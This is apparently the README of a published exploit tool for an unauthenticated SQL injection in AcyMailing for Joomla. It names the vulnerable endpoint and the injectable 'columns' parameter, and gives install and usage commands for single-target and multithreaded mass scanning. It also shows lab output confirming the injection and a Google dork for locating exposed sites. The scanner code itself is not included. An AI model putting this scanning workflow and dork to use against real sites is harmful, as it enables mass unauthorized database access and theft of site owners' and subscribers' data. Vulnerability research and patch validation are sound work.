Exploit for SQL Injection in Acymailing

## https://sploitus.com/exploit?id=372636CE-CEFB-5CF4-8EF5-7A5157D27ABB
# CVE-2026-56292 — AcyMailing for Joomla Unauthenticated SQL Injection

**Author:** nullwhisper  
**For authorized security research / vulnerability validation only.**

AcyMailing for Joomla exposes the public front-end task `frontentityselect::loadEntityFront`. In older versions the `columns` parameter is passed straight into a SQL query without sanitization. Patched versions use `acym_secureDBColumn()` and return an error like `... not secured`.

- **CVE:** CVE-2026-56292
- **Product:** AcyMailing for Joomla
- **Endpoint:** `index.php?option=com_acym&ctrl=frontentityselect&task=loadEntityFront`
- **Parameter:** `columns`
- **Type:** Unauthenticated SQL Injection

## Files

```text
.
├── cve_2026_56292_acymailing_sqli.py   # single + mass scanner
├── dorks.txt                             # google dorks
├── TECHNICAL.md                          # technical write-up
├── requirements.txt
├── LICENSE
└── README.md
```

## Install

```bash
pip3 install -r requirements.txt
```

## Usage

Single target:

```bash
python3 cve_2026_56292_acymailing_sqli.py -u http://target/
```

Mass scan:

```bash
python3 cve_2026_56292_acymailing_sqli.py -l targets.txt -v -T 30 -o vuln.txt
```

Options:

```text
-u URL          single target
-l LIST         target list file
-t TIMEOUT      request timeout (default 30)
-T THREADS      concurrent threads (default 10)
-o OUTPUT       output file for vulnerable targets
-v              verbose
--proxy PROXY   http/https proxy
--patched-output FILE
--error-output FILE
```

## Verified on localhost

Tested against an AcyMailing v11.0.3 install on a local Joomla 5 lab (vulnerable simulation mode).

```text
[*] Loaded 1 unique target(s)
[1/1] [+] VULNERABLE: http://127.0.0.1:8080/ -> version=10.11.18-MariaDB-ubu2204

[*] Done. Vulnerable: 1 | Patched: 0 | Error/Other: 0 | Total: 1
```

## Google Dorks

See `dorks.txt`. Primary dork:

```text
inurl:"index.php?option=com_acym"
```

## Disclaimer

This tool is for authorized security testing and research only. Do not use it against systems you do not own or have explicit written permission to test. The author (nullwhisper) is not responsible for misuse or damage caused by this code.

## License

MIT — see `LICENSE`.